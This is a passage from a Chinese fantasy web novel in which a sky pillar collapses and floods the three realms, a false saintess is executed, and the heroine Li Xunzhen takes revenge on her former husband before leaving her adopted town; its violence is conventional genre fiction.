叫李姑娘高义！叫李姑娘舍己为人、大爱无疆啊！ 这是颜辞云和李寻真都万万没有想到的发展。 而这样的事迹传开后，整个小镇的绣娘都对李寻真生出了感激之情，因为她们是亲眼看到李寻真是怎样在短短一个时辰里绣出一张帕子的。 她们非常清楚，当李寻真全力开工后，她们这些同样靠绣品吃饭、却又绣技不够顶尖的绣娘们，财务状况会受到怎样的冲击！ 抢人财路如杀人父母，那给人让出财路是什么？ 是再造之恩啊！ 因此，在李寻真抵达这座无名小镇的第三个月，她在这里彻底站稳了脚跟。 不是用锃光发亮的菜刀和当地高层们“谈”出来的稳，也不是和其他外来者那样用利益购买保护伞的稳。 而是自下而上的，让当地所有绣娘和平民妇人们都敬她一分的稳。 那是一种很奇特的感觉，是连旁观的颜辞云都能感受得到的奇特感。 如同路边平平无奇泯然众人的砖石，突然发出了光，又像是格格不入的寒冰融入海洋。 当李寻真走在路上时，几乎每一个路过的人都会笑着向她点头示意，友好地与她寒暄，或者干脆把自己早上刚摘下来的带着露水的菜塞在她手里，招呼她下次来玩。 就好像李寻真并不是新搬来的外来者，而是街坊邻居看着长大的好姑娘。 而当李寻真换了绣品，上茶馆喝茶听书时，那些若有若无的打量视线也消失了，取而代之的是光明正大的注视，和亲近友好的交谈。 当人群为恶时，那细小如尘却不断累加的集体之恶，是一个人几乎无法招架的，就像是魔族宫殿里的那些审视、轻蔑、鄙夷。 而当人群为善时，那些微不足道却又弥足珍贵的群体的善，同样是一个人无法拒绝的，就像是这座无名小镇里的人们塞给李寻真的每一颗糖、每一把小菜。 很多时候，当李寻真再回首过去时，会发现那些前程往事离她竟好似已有数百年那样遥远。 可分明她搬到这个小镇才不过区区三个月而已。 李寻真想不通，为什么有些人，哪怕相处了数十年近百年、哪怕她耗尽了血泪去托举，都无法将其融化，只给她留下无尽冷酷的坚冰。 而有些人却只与她相处了短短数十天，就感恩于她随手施下的不值一提的恩德，与她掏心掏肺，恨不得倾家以报？ 李寻真得不到答案，但她想，决定搬到这座小镇来，固然是她一时的心血来潮，但又有可能是她这么多年来做过最正确的事了。 就这样，时间一晃而过。 就在李寻真搬到这座小镇第三个月的某个清晨，薄雾拢聚，太阳刚爬出地平线没多久，整个小镇却已经早早醒来。 小摊贩们支起了摊子，开始烧火，等待客人的上门；街边的店面们半开着门扇，拿着鸡毛掸子开始打扫；河边的纤夫们拉着船，号子喊得热火朝天；岸上的孩子咬着手，流着口水盯着树上的鸟窝。 李寻真在这一天，也是早早起来，捡起了自己许多年没有再碰过的厨艺，一边听着邻居家卷王小孩背四书五经，一边揉面准备做点葱油饼当早餐。 一切都是平凡无奇的人间烟火模样。 可也正是在这一天、这一刻，一声惊雷在天边炸响！ 那声巨响分明是遥远的，却又偏偏像是在每个人的头顶上炸开，声音可怕极了，让人吓得心脏都几乎要从嘴里跳出来。 更可怕的是，就在这声巨响炸开的下一秒，天空迅速地黑了下来。 不知从何而来的墨色，将柔软洁白的云色迅速浸染，化作了沉甸甸的黑，就连黄澄澄的旭日，也以肉眼可见的速度被这样的黑暗遮蔽。 才迎来天明没多久的大地，在这一刻又重回黑暗。 旋即，冷风吹起了。 它从极遥远的地方而来，带来了若有若无的腥气，也带来了山林里野兽们不安的吠叫，和无数惊鸟振翅飞翔的声音，以及无数人们慌张的惊叫声。 但很快的，这些声音都被隆隆声取代。 轰隆隆！ 骤然听闻时，这样的声音似乎是远方传来的雷声，可当它持续了三秒、五秒，甚至足足一刻钟都没有停歇下来时，有一些出过远门的人蓦然惊醒，终于明白了这是什么声音—— 是涨潮时潮水涌入狭窄海湾、拍击礁石峭壁时发出的声音，也是万川归海时，湍流急卷，无数空泡共同碎裂时的声音。 是水的声音——是无穷无尽的水的咆哮之音！ 无名小镇的平静，在这一天这一刻，被末日般的可怖景象骤然打破。 摊贩们丢下了曾经视为性命的摊子，慌慌张张地往家的方向奔去，纤夫们丢下绳索，顾不上自己今日的血汗钱，无头苍蝇般地寻找自己回家的路。 馋嘴的孩子被哭着找来的娘亲阿奶抱走了，隔壁的卷王小孩也躲在自己家人的庇护下瑟瑟发抖。 此时此刻，每个人都想要在这绝望的恐惧中陪伴在自己最重要的人身旁。 唯有李寻真放下了自己手里的面团，擦净手上的面粉，摘下围裙，独自走出家门，转瞬间来到了附近最高的山上，向发出那声巨响的方向极目远眺。 只不过，这一刻的李寻真在看什么呢？ 是在看狞笑着从界门之地脱身而出的相繇？ 还是那群开会开了三个月的三界万族？ 颜辞云顺着李寻真的视线，望了过去。 第135章 天倾（二） 弄权之人，终…… 只见，在李寻真视线所眺望的尽头，赫然是这方小世界里最重要的地方——三界之门！ 而提到这三界之门，又不得不提到另一样事物，即天柱。 所谓的天柱，顾名思义，是一根巨大的分开了天与地、也支撑起天地人三界通道的不可思议的柱子。 许多许多年前，就有有高人大能们发现，他们可以依靠天柱的力量穿梭三界，只不过这样的穿梭对修为的限制极高，因此他们很快在此地建立起了一扇三界之门，让三界的各生命体只要掌握方法、等到时机，便都有开启界门、去往新世界探寻的能力。 这样的一份大爱之心，自然不能说是错。 可当时建立三界之门的那些高人大能们，万万不会想到，他们的后人们竟会无能怯弱至此，在面对强敌时连迎战都不敢，直接把敌人往三界之门内部一关，就把事情当作了不存在，所以他们在建设三界之门时，当然也没有把这扇三界之门往死里加固加强。 而如今，三界之门不够牢固的坏处便显现了—— 短短三个月不到，这扇伫立了无数年的门，就在那相繇的日夜撞击下被破坏了个彻底。 更可怕的是，相繇不仅破坏了三界之门，甚至于三界之门倚靠而生天然神物——天柱，也被它彻底撞塌了！ 而天柱坍塌后，会是什么模样？ 首先，是视觉上的骇人奇观： 天，破了个窟窿！ 当时是，凶兽相繇发起狠来，一头撞塌天柱。 当那震耳欲聋的天柱倾塌之音在大地炸响时，连当事兽相繇都晕乎乎找不着北，可颜辞云却第一个反应了过来，看了过去，第一时间就看到了一条狭长的黑色裂隙，出现在天空的尽头。 它就像是黑暗的海沟倒挂，又像是虚假的天空被撕裂了它苍白的假面。 那裂隙的黑是如此深沉可怕，就连颜辞云的视线都无法将其穿透！ 而很快的，几乎就在这条裂隙出现的瞬间，黑色的雾气从中漫处，眨眼就覆盖了整个天空，遮蔽日月，污染云彩。 最后，才是三界众人们听到的声音—— 轰隆隆！ 水！ 黑色的水！ 无边无际的水，从那裂隙中倾倒而出，发出隆隆巨响，令这一整个天地都如同巨浪中的礁石，摇摇欲坠。 李寻真所在小镇的凡人们，面对这场可怕天灾时，不知所措，或是哭喊奔逃，或是瑟瑟发抖，或是丧失了所有对抗和逃离的意志、只跪在地上向满天神佛念念祈祷。 可事实上，凡人们不知道的是，那天界上的仙人们，还有地界横行霸道的万鬼众与百妖，全好不到哪里去。 当那灭世洪水从天而降时，首当其冲的，就是那座仙气渺渺高不可攀的天庭。 天庭是用术法支撑起来的一片大地，上头有琼楼玉宇、奇花异木，有威严的天兵天将，还有凛然的神妃仙子。 可当那洪水哗啦往下一冲，什么宫殿楼阁、异花仙根，乃至是漂浮在天界的那片大地，全都稀里哗啦地碎了一地，随着流水滚滚而下。 就连那群仙人们，也很不好过。 那些修为高跑得快一点儿的，姑且只是被洪水溅了满头满脸，化身可笑的落汤鸡罢了。 而那些修为低跑得慢的，此刻则是如那破碎的宫殿楼宇一样，随着这滚滚洪流不知落去了哪儿！ 至于地界的万鬼众和百妖族之类，更不必说了。 地界本就位于天地人三界的最底层，因此当这场灭世洪水悍然冲垮了天庭后，它便越发势不可挡，挟着天庭碎片和倒霉仙人的无数尸体，径直从天界降下，越过人界，轰隆隆灌入了地界。 那些万鬼众还好说，毕竟他们此刻已非活物，在面对这场灭世洪水时，只要小心注意不被洪水中那些带仙力的东西搅碎就好。 可那些妖族和魔族们，却无疑遭了大难，被洪水冲散、搅碎、淹没者不计其数！ 短短片刻间，颜辞云便见到地界无数赤血染红黑河，浮尸万里，那些失去亲人的、身临绝境的、手足无措的、无能为力之人，无不在这场天灾中掩面痛哭，哭声震天，直达九霄！ 他们都在祈求着，甚至比人间的凡人们更虔诚地祈求着，祈求那个救世主的现身，或者仅仅是祈求着有人能向他们伸出援手，祈求他们的族长或帝王能拯救他们于水火之中。 可他们同样不知道的是，他们那些去天界开了三月大会都没回来的族长帝王们，此刻不但半点没比他们好过，甚至还陷入了又一轮的争吵之中。 而他们争吵的重点和核心，自然就是那所谓的“救世神女”。 那个预言中的拯救世界的神女！ 看啊，如今这场从天而降的大洪水，不正是预言中的灭世天灾么？ 所以此刻，不正应当是那位神女献身救世之时么？！ 而只要神女如预言中那样献身救世，那么这场灭世洪灾，也必然会如预言中的那样顺利平息，对么？ 这一刻，所有人都满含期盼地看向了他们心中的神女，秦如霜。 可理所当然的，秦如霜哪里有那个救世的本事？ 因此，秦如霜在这场灭世天灾出现的瞬间，便感到大事不妙，准备跑路了。 但大难当前，谁人会让最重要的神女孤身离开？ 所以，哪怕秦如霜绞尽脑汁、手段尽出，也不过拖了短短两个时辰，就在逃跑的路上被愤怒的仙帝仙后鬼王妖族给抓了回来。 秦如霜假神女的身份在此刻彻底败露。 每个被这场灾难震慑又对秦如霜升起期冀的人们，都被这一盆当头冷水泼灭了所有希望！ 无尽的绝望和恐惧催生出了无尽的歇斯底里，这一刻，每个曾经高高在上的仙帝魔尊们，都纷纷放下了自己的身段，用自己所能想到的一切词语痛骂着秦如霜的卑劣无耻。 可秦如霜却不是什么逆来顺受的人。 哪怕此时她的双手被缚，成为了这些大人物们的阶下囚，生死在他人一念间，但在知道自己必死无疑后，秦如霜反而表现得无比坦然，高高昂着头，对着面前道貌岸然的众人冷笑痛斥： “你们如今倒是异口同声，痛骂我的卑劣无耻，骂我顶替了真神女的身份，说都是因为我，才害得这个世界都陷入了倾覆危机，可你们以为你们自己又好到了哪里去？ “莫要忘了，你们自己分明也有救助世人、扶危济困的力量，哪怕你们修不了天柱，你们还救不了人吗？为何你们不下凡救人，为何你们不分河入海？哪怕只救下一个人也好，为何你们不去，而只在这里空耗时间？ “莫不是你们忘记了，那些一直以来受到人间香火供奉的神灵正是你们自己？ “还有你们！” 秦如霜又转向了那些鬼王与妖族族长们。 “你们莫不是忘了，哪怕你们平日里再如何口中称颂神女，可神女又受过你们什么好处？还是你们以为随便在嘴上夸两句，神女就要为你们出生入死？可那真正受到一整个族群的托举和爱戴的人，不正是你们这些鬼王和族长么？ “对于你们的族群来说，你们才是那个最大也最直接的负责人！可当那些托举你的族人在灾难前哭喊祈求你们的帮助的时候，你们又在做什么？你们哪怕有对他们伸出过一次援手吗？ “没有！什么都没有！出了推卸责任、互相推诿、哭天抢地之外，你们什么都没有做！既然连你们都不做，你们又凭什么要求神女去做？！” 秦如霜的指控又急又快，字字千钧，说得一众仙人帝王们几乎喘不上气来。 但很快，便有人气急大喊起来：“胡说！胡说！秦如霜，你休要在此胡言乱语！你此刻这样胡乱攀扯，不过是妄图拉所有人下水，好掩盖你的罪过而已！ “可你休要忘记，若非你窃取了神女之位，让我们失去了真正救世之人，我们如今又怎么只能在这里手足无措、眼睁睁看灭世之灾的降临？ “所以我们之中，要说谁有最大的过错，那必然是你这个假神女！而我们之中，倘若谁最后没能尽职尽责、令族人死伤惨重，那必是因你秦如霜而起！” 秦如霜大笑出声：“我的罪过？我？ “是我让你们在面对危机时一而再再而三的拖沓，甚至把相繇这样的凶兽关进三界之门这样的重地之内？ “还是我召开了百族大会，命令你们为了争权夺利吵得面红耳赤，耽搁了剿灭凶兽的时机？ “又或者是我挑拨了相繇，让它撞毁三界之门，甚至撞毁天柱，引来了这场灭世之灾？ “还是我用举世无双的神力逼迫你们守在此地，不允许你们回去援救你们的族人？ “来吧，来啊！告诉我——我做了以上的哪一件事？我犯了以上的哪一种罪？！” 秦如霜的声音如此张狂，讥诮的笑声几乎响彻整个天界，就连那灭世洪水的隆隆声，都遮不住她的狂妄。 只不过，秦如霜的狂傲轻慢也到此为止了。 就像她想的那样，在这样紧要关头被戳破假神女身份的她，是必死无疑的。 因此，几乎就在秦如霜将这些天地人三界的大人物们逼到退无可退的瞬间，便有人一个眼神，指使心腹上前，悍然砍下秦如霜的头颅！ 弄权之人，终究死于最直白的权力。 而她的死，也像是一阵风一样，没有留下丝毫痕迹。 大人物们一脚把秦如霜的尸体踢进滚滚洪流，面色如常，就好像秦如霜刚刚的指控浑然不存在一样，向四周众人若无其事地说道： “如今，我们天地人三界，当摈弃前嫌，为了我们各自的族人和未来共同奋斗，因此，我们当务之急，还是修补天柱，堵住天上的这个窟窿，不知群贤对此，有何看法？” 此话一落，天地人三界的仙帝魔族、鬼王妖贤们，都是面面相觑，一时间谁都没有回答。 第136章 浩劫（一） 越念什么越来…… 这汇聚了天地人三界的精英群贤们，对这场灭世之灾，可有何挽救之法？ 没有的。 自然是没有的。 只不过这里的“没有”，并不是指这些群贤大能们真的没有一星半点的修补天柱、遏止天灾、拯救世人的办法。 而是指他们没有“既能救世又能不在这个过程里损害自身”的方法，是指他们没有一个可以安全无虞地收割声望和救世功德的办法。 想来也是。 同为修士，同为高人，“神女”能做到的事，他们如何做不到？ 预言中的神女能够扶天于将倾、救人于水火，无非是靠着一口救世的心气、靠着透支自己过去的万万世和未来的万万世换来的这片刻无敌罢了。 这样的事，这些群贤们牙一咬，心一横，当然也是做得到的。 可关键是，他们为什么要这样做？ 世界毁灭了，又不代表他们毁灭了。他们如今尚未走到绝路，又何必为了这点小事拼命？ 而世人死绝了，同样不代表他们死绝了。 他们生而高贵，还有无尽的寿命和未来，只要他们从这场浩劫中存活下来，过去万万年后，他们又是高高在上的天神大人。 既然如此，他们如今又何必为了拯救一群朝生暮死的蜉蝣而赔上自己日后的万万世轮回？ 就像是人间的凡人们在瞧见水淹蚂蚁窝时，难不成会为了救下蚂蚁而自裁？ 不会的。 当然不可能！ 若有什么人这样做了，那必然不可能有人称颂他，反而全世界的万万人都要笑话他的痴傻愚钝，笑话他自降身份！ 所以同理可证，他们这些天神，也是不可能为救凡人而透支自己的这一世甚至未来的万万世的。 这样的念头存在于在场群贤每一人的心中。 他们谁都没有挑破，因为他们认为这些都是理所当然的！ 虽然，在极偶然的时候，这些群贤精英们也会为那直冲九霄的哭喊与祈祷生出恻然和悲痛，但这样的悲痛并没有持续太久，便在他们的心中悄然消弭。 他们悲天悯人地想：莫要怪我们无情，不肯救你们。我们虽为仙神，可在这样的浩劫大难面前，又救得了几个人？而既然我们救不了所有，那还不如一视同仁、谁都不救。所以要怪，便只能怪你们命贱、怪你们无能，怪你们命中该有此劫吧！ 这都是命啊！ 当群贤们的思考进入到这一弯道后，另一个想法便理所当然地浮现了。 那就是—— 如何逃跑，如何在这场大灾难面前保命。 反正天柱倾塌已成既定事实，反正灭世的大洪水眼看就要淹没三界，而既然大家谁都没有这个能力救世，那么如何逃离这场浩劫，让自己顺利活到下一会元，便成了三界群贤们的当务之急。 而巧了不是，如今还能站在天界的，都是来参加三界百族大会的精英们，都是天上地下数得着的出类拔萃的人物。 虽然他们过去多有争执、多有摩擦，甚至还曾有过家族血仇，但在这样一场谁都有可能死去的天灾浩劫面前，若还不齐心协力、通力合作，想来他们本就不高的生还机率将越发渺茫。 而与之相反的，只要他们能够摒弃前嫌，掏出各自保命的家伙什，共同对抗这场天灾，想来最后的他们一定能够度过这场难关的！ 只不过，这样的事好做不好说。 他们都是有身份的大人物，怎能由他们率先开口，露这个怯？ 所以，此刻，究竟该由他们之中的谁来开这个口、递这个台阶呢？ 此事应当速速做出决定，毕竟此刻威胁他们性命的，除了这场灭世天灾之外，可还有不知藏身何处的凶兽相繇啊！ 俗话说，越念什么越来什么。 这不，还没等三界群贤想出个体面的章程，推出个能时候算账定罪的替死鬼，那被他们心心念叨的凶兽相繇，便挟着弑神杀魔的悍然之姿，从大洪水中钻了出来！ 它甫一亮相，二话不说，就张口咬住了某个倒霉神仙。 而与此同时，它剩下的八个头也没有一个吃白饭的，一头一口，便将这倒霉神仙分食入腹！ 鲜血夹杂着血肉的碎片飞散，间或还有带着剧毒的涎水四溅！ ——好好的一个神仙，转眼就成了凶兽的腹中餐！ 这样的一幕，可把在场群贤们吓得够呛。 他们肝胆俱裂，鬼哭狼嚎，哇哇大叫着四散奔逃，再不想那些有的没的了，只埋头一劲儿逃命，连回头多瞧一眼都不敢。 所以这样的他们自然也没有看到，他们身后那只骇人又可怕的凶兽相繇，此刻其实半点没有追击他们这些可口美味、把他们吞下的意思。 但这并不是因为它不想追、追不上。 甚至，相繇此刻也没有半点将它已经吃到嘴里的食物吞下的意思。 而这也不是因为那食物咯牙到它吞不下去。 而是因为在凶兽相繇撕裂嘴里这只倒霉神仙的瞬间，它就察觉到了某个极危险的气息降临。 可还没等凶兽相繇反应过来—— 轰！ 一个偌大的巴掌挟着风雷之力降临，拍在相繇脑袋上，只一个照面，就将它扇得头晕眼花，彻底被打趴下了。 只不过，相繇被揍趴下的巨大声响，被淹没在大洪灾的轰隆声中，没有任何一个人听到。 ——除了那个被相繇撕成碎片的倒霉神仙。 同样的，当相繇趴下后，那有什么人踏水慢步而来的声音，也没有被任何一个人听到。 ——除了那个只剩下一个头颅的倒霉神仙。 在这生与死的间隙中，那奄奄一息的倒霉神仙拼尽全力睁开眼，用他被鲜血染红的视线向来人望去，在这场无尽的绝望和希望中艰难开口，恳求帮助： “救我……救、救我……” 他气若游丝，分明只差一口气便彻底死了，却又无论如何都不肯就这样死去。 “我是、是魔族的……少主……救我，救我！ “只要救我……日后我、我必有……重谢……我一定会倾尽所有报答你的……救我……” 来人终于停下脚步，站在这颗只剩下半边脑袋的头颅面前。 可来人并未救他，反而发出了笑声。 “原本我还以为我瞧错了人呢，没想到竟真的是你……”来人的声音意味深长，“帝昭啊帝昭，如今的你，可后悔从那鬼哭血池里逃出来了？” 倒霉神仙帝昭一愣，终于感到来人的声音十分耳熟，同一个他只要稍稍想起就会生出满心怨恨的人的声音十分相似。 他不可置信地想要抬头望去，可他这连头骨都被相繇啃了半截的脑袋，又如何做得出“抬头”这个动作？ 但还好，来人向来是心善的、是善解人意的，因此她踢出一脚，将地上的这半截脑袋咕噜噜踢远了些，并转了个方向，好让他正正瞧见她脸上的粲然笑颜。 “怎么了，故人相见，不认识我了？” 帝昭抬头，定定看着来人，终于从这张陌生又熟悉的脸上看出了来人的身份。 他先是愕然，而后是不可置信，最后是震惊绝望，目眦欲裂。 “是你？是你！”他大喊大叫，愤怒绝望，“怎会是你？你竟然没死？老天无眼！老天无眼！！” 李寻真垂眼瞧着自己脚边的玩意儿，抿嘴一笑，顾盼生姿，目光流转间粲然生辉，和帝昭记忆中那个常年卧床的矮小无盐且灰扑扑的女人截然不同！ 可偏偏，就是这个女人——正是这个帝昭从来都瞧不起的女人，害他至此！！ 从小，他帝昭便是命运多舛，分明身份魔族魔帝之子，是未来魔帝，却因故被落在人间，成为一名被人人嫌弃的、吃了上顿没下顿的流浪儿。 而等到他终于脱离了满是浊气的凡间，认祖归宗，成为魔族少主后，却又要因自己年幼无知许下的诺言而娶一个无盐丑女！ 之后，等到他帝昭费尽心思敛财敛权，在魔族占得一席之地，不必再受年幼诺言的牵制、可以借机除掉那个配不上他的凡人妻子时，那女人竟又得了一场惊天造化，不但摆脱了孱弱无能的凡人之躯，甚至还害得他被身为魔帝的父王忍痛发落，被废去修为后囚入水牢一月，受尽苦楚，甚至还要被送去鬼哭血池！ 这让帝昭如何甘心？ 但还好，这个恶毒女人和仙帝谢承那个无耻之徒恶有恶报，在三界之门开启的前一天便一块儿消失了，再也没有了声息，想来是这两个贱人终于生出了龃龉，在什么鬼地方同归于尽了。 所以，他父王便乘此时机，在相繇来袭的那日来了一招偷天换日。 明面上，魔族依然践行对神女和仙帝的承诺，将“帝昭”送去了鬼哭血池受刑，暗地里，却是将替身送去，把帝昭换下，并给帝昭伪造身份，跟在魔帝身旁，去参加了这场浩大的百族大会。 可谁料，这场大会竟不是帝昭翻身的时机，反而为他惹来了滔天大祸—— 当那灭世洪水从天外天处降临，将整个天庭冲击成了碎片时，帝昭的父王也就是魔族第一人的帝烈，本该是有这个机会也有这个能力逃出生天的。 可帝烈有能力跑路，帝昭没有啊！ 就在三个月前，帝昭还被废去了所有修为，并且还在水牢里受刑了整整一个月。 而三个月后的现在，哪怕他修复了丹田，找回了部分修为，又如何能够在这场灭世天灾面前获得逃难的能力？ 因此，帝昭再三恳求自己的父王将他带上，而他父王也的确是慈父心肠，带他一同逃出了破碎的天庭。 只可惜，为了保全他这个儿子，帝烈最后还是耗尽修为、油尽灯枯而亡，死前什么都没来得及留下，只将魔族重宝托付给了他。 但可气的是，那些魔族护卫们竟狗眼不识泰山、想瞎了心了，竟然说是他帝昭害死了魔帝，还说是他帝昭窃取了魔族至宝，才害得魔帝身死，甚至还口口声声说什么要杀了他这个魔族少主为魔帝报仇？！ 多么荒唐，多么可笑！ 帝昭愤怒之下，手起刀落，用魔帝交给他的魔族至宝，手刃了这些胆敢以下犯上之徒。 可至此，他帝昭的劫难竟然还未结束。 那该死的相繇、那天杀的凶兽相繇，去袭击谁不好，竟来袭击他？ 而猝不及防下，他竟也真的被那凶兽偷袭成功了！ 最后，眼看他就要身死道消，一身抱负就此消散，让天地失了他帝昭这样的重要人物。 可在这样的紧要关头，唯一一个有可能前来救他的人，竟是他从来看不起的、以为早就死了的凡女，李寻真？ 苍天不公！ 老天无眼啊！！ 这一刻，帝昭眼角竟滑下血泪，满腔的怨恨几乎化作实质。 李寻真好整以暇地看着帝昭脸上神色瞬息万变，就像当初高高在上的帝昭用冷漠的口气宣告她的命运时那样。 而等到帝昭似乎终于彻底陷入了绝望之际，李寻真含笑开口。说道：“一日夫妻百日恩，倘若我说我有救你的方法，你当如何？” 帝昭先是一愣，而后狂喜：“当真如此？真儿、真儿——你当真会救我？是了，是了，自然如此，真儿你向来心善，向来爱我。 “你从见到我的第一眼时就爱我，明明和我是同样的孤儿同样的年纪，却为了养活我风里来雨里去，长大后还拒了那么多为你说亲的人家…… “而到了魔族后，你也为我改了性子。我说不喜欢你下厨、不喜欢你自降身份，你便再没有摸过你最擅长的灶台，没有绣过你最拿手的花样，没有种过你最爱的花草。 “我说茵茵她最是可怜，屡屡被仙帝所伤，你便主动让出了那些药草与珍宝，哪怕你的身体被魔气日夜侵蚀，伤害至深，连连咳血，却都只对我说无碍……这样的你是喜欢我，你当然是喜欢我的！ “之前是我伤你至深，所以你才赌气要我付出代价，可若我真死了，你必然是舍不得的，所以你会救我……你一定会救的我，对不对？！ “真儿，若此次你救我离开，我发誓，我保证，我一定会好好对你，我一定不会再为了任何人而让你受委屈、再不会叫你把你本该拥有的东西让给任何人！ “我会好好对你，我会好好珍惜你，我一定再也不会辜负你！真儿，真儿，你相信我，我一定会好好对你的！” 听着帝昭这语无伦次的话语，李寻真噗嗤一笑。 “我还以为你不懂呢，原来你什么都知道啊。”李寻真说。 “可是帝昭，你是不是自信过头了？你怎么会觉得，已经在一个坑里掉下过的我，还会载进同一个坑里？” 帝昭嘶声喊道：“不、不，真儿，你相信我，你一定要相信我一次，这一次、这一次我一定会——” 李寻真淡淡说道：“更何况，就连你那位对你千般好万般疼的父王，都被你亲手推下了洪流之中，而那些曾经为了你出生入死的魔族护卫们，也被你通通灭口了。你这样薄情寡义，六亲不认，寡廉鲜耻，自私无情的狼心狗肺之徒，如何还敢开口向旁人说‘信任’？” 帝昭脸色一变，万万没想到自己以为做得万无一失天衣无缝的事，竟然被人亲眼目睹。 而且目睹的那人，还是目前唯一一个有可能救他的人！ 帝昭脸色变了又变，是恐惧，是绝望，是痛苦，更是不忿！ 最后，帝昭满脸怨恨地看着李寻真，终于明白了一切，厉声说道：“你耍我？！” 李寻真轻轻一笑：“当然是耍你的啦，帝昭啊帝昭，你该不会真以为我来到这里是对你余情未了吧？你也不瞧瞧你这模样，都丑到这种地步了，真是半点自知之明都没有。” 这是曾经帝昭厌恶地同凡女李寻真说过的话。 而如今李寻真尽数还给了帝昭。 帝昭自然也对这句话并不陌生，怒气狂涌间大喊大叫了起来：“李寻真你这个贱——” 没有让那污言秽语出口。 欣赏够了帝昭脸上表情的李寻真，一脚便将帝昭的那半颗头颅踩成碎片，就连帝昭逸散的魂魄都被她抽出，捏成粉碎。 至此，所有认识“李寻真”的人，都尽数死了，而那些关于“李寻真”的恩怨情仇，也算是彻底消弭。 李寻真没有看脚下的滚滚洪水，没有去听那从地界冲上九霄的苦求哀叫，甚至没有理会那只被她一巴掌拍在地上半天没有动静的凶兽相繇，而只是转身，回到了那个无名小镇。 此刻，凡间的这座无名小镇里，附近的村民已经不知不觉中聚集到了这座镇子的附近。 而与此同时，这座镇子的镇民们，也在恐慌中准备向最近的城池逃难。 他们其实并不知道发生了什么，也不知道这场灾难会持续就多、蔓延多远。 他们只是在最纯粹的生物对天地的恐惧和警告下，向着人群聚集，向着所有有可能求助的人求助，试图依靠集体的力量，共度难关。 但他们不知道的是，这场浩劫覆盖的并不是某座城池、某个地域，甚至某个国家。 而是天上地下的所有生命！ 李寻真什么都知道，但她什么都没打算说。 她只是在这场混乱中无声回到自己租赁的小院里，收拾包袱。 但，就在这样的时刻—— 笃笃笃。 小院外，混乱的人声和尖叫中，急促的敲门声响起了。 无论是李寻真还是始终旁观着的颜辞云，都在这一刻侧头，向门口望去。 第137章 浩劫（二） 寻得真我，自…… 在这样的一个混乱时刻，会前来敲响李寻真这个“孤女”院门的，会是什么人？ 这很难说。 但如果住在这个院子里的人真的是一个无依无靠的孤女的话，颜辞云是绝不建议开门的。 毕竟，人性是经不起考验的。 越是混乱的时候，人越难分辨自己见到的究竟是人是鬼。 可李寻真绝非普通孤女，所以李寻真只是略一迟疑，便坦然上前，打开了院门。 此刻站在院外的，是李寻真隔壁的刘大娘。 这位刘大娘是个热心肠，在小镇李还未闹出“李绣娘心有大爱，为了普通绣娘们的生计忍痛拒绝了绣楼主管的招揽”的事之前，便对李寻真这个无依无靠的孤女多有关照。 李寻真投桃报李，平日里在遇见刘大娘家的孙子孙女时，会随手分这些孩子们一些糖果糕点。 这件事被刘大娘知道后，她便干脆每日与她的儿媳过来李寻真家帮李寻真打扫院子，做些她们擅长而李寻真又懒得做的杂活。 就这样，李寻真与刘大娘家越走越近，也勉强算得上是有交情了。 可如今，刘大娘在这个时刻来李寻真的院子是为何？ 李寻真不解地看着刘大娘。 刘大娘也没有废话。她先是推着李寻真进了院子，小心关好院门，把街道上的那些乱象用一层薄薄的门板暂时挡住后，便向李寻真急切说道：“李娘子，如今镇里大乱，镇里下头那些村子里的人，这会儿都向我们镇涌来。 “这可不是什么好事，要知道，我老婆子可是经历过荒年的，那时候，那些人也是这么过来的……唉，我同你说这些做什么？总之，人多生乱，我已经决定与赵家、孙家、周家这几家人结伴去青江城了，李娘子，你呢？对接下来的事，你可有了什么章程？” 李寻真有些讶异，立时明白了刘大娘是来做什么的。 刘大娘这是放心不下她，过来邀请她这个年轻的小娘子一块儿上路，去青江城避难呢！ 在这个瞬间，李寻真的确犹豫了，被刘大娘这份急公好义古道热肠的心思所打动。 但说到底，人心易变，李寻真如今已再不是那个别人随便对她说两句好话做两件好事就认为对方是个大好人、向对方掏心掏肺的小傻子了。 更何况，哪怕对方如今是好人，也不代表对方未来是好人。 甚至哪怕好人一直都是好人，也不代表好人不会害你——这世上拿捏好人去害人的法子，可多着呢！ 再加上，李寻真如今早已决定放下助人情节，尊重他人命运，而这些逃难的人无论再如何挣扎，最后也注定要死于天倾。 所以，为了避免后续遇到一些不得不反目的事，也为了避免自己看到一些于心不忍、不得不出手助人的事，李寻真很快坐下决定，要推拒刘大娘的好意。 “无妨，刘大娘，”李寻真迅速回神，说，“我已有了打算，要与商队一块儿去京城，这会儿正收拾东西，准备走了呢。你不必当心我，这山高水长，若是有缘，我们日后自是还会再相见的。” 不，不会再见了。 李寻真嘴上说着，心里却是另一个想法。 因为她清楚明白，今日一别，其实就是她与这镇上所有人的最后一面。 在这一场劫难之后，她李寻真是死是活很难说，但这些身无神力的凡人们，却怕是必死无疑的了。 刘大娘听着李寻真的回答，松了口气，可转瞬又升起了担忧，毕竟这年头，跟着商队走可不是什么好事，毕竟谁知道那是不是走野路子的商队？ 更何况李寻真一介孤女，无依无靠的，哪怕她消失了都不会有人找她，算是一些不怀好意的人下手的最佳目标。 因此，李寻真说自己要跟商队去京城，听在刘大娘这个老江湖耳朵里就像是在说自己准备去送死一样。 刘大娘欲言又止，想要劝说，但又怕交浅言深，只能隐晦提了两句，见李寻真当真一意孤行，没有改变打算的意思，便只能给李寻真留了个地址，与她告别。 “李娘子，看来我们只能在这里分别了，还望你一路平安。喏，拿着这个吧，这是我们莫家在青江城的地址，若你日后遇到什么难处了，定要来这个地址找我们山阳莫家！ “我刘大娘是个粗人，说不出什么好听的话，讲不出什么大道理，但我刘大娘知道，远亲不如近邻，而你李娘子当了我们这么一段时间的好邻居，自然也算是我们莫家的远亲！所以日后，只要你来找我们，我们一定能帮则帮！” 刘大娘用力握了握李寻真的手，像是要向李寻真传递某种力量。 之后，刘大娘打开院门，嘱咐李寻真莫要在小镇多做逗留，赶快离开后，便毅然转身，回到隔壁莫家，叫齐了莫家人，挑着他们整理好的少量行李，轻装上阵，在小镇口与约好的另外几家人汇合，便向着小镇北方的青江城迅速离开。 在刘大娘几家离开后，李寻真也提着自己的包袱，准备离开了。 她走得无声无息，在这个所有人都惊慌失措的人群里如同异类。 而孩子，是最容易观察到“异类”的人。 所以在李寻真离开的路上，她得到了对门调皮捣蛋的二狗子肉疼塞给她的一把花生，得到了小巷尽头那个总是怯怯在墙头探头看她的娟儿的一个糖块，得到了她随口指点过的连名字都不知道的绣娘学徒给她的一个丑丑的香囊，还得到了傻乎乎说长大后要嫁给她当赘婿的医馆学徒的针灸包。 当然，与此同时，除了这些孩子们，那些想要乘乱发财的心怀叵测之徒，也注意到了李寻真这个“上等货色”。 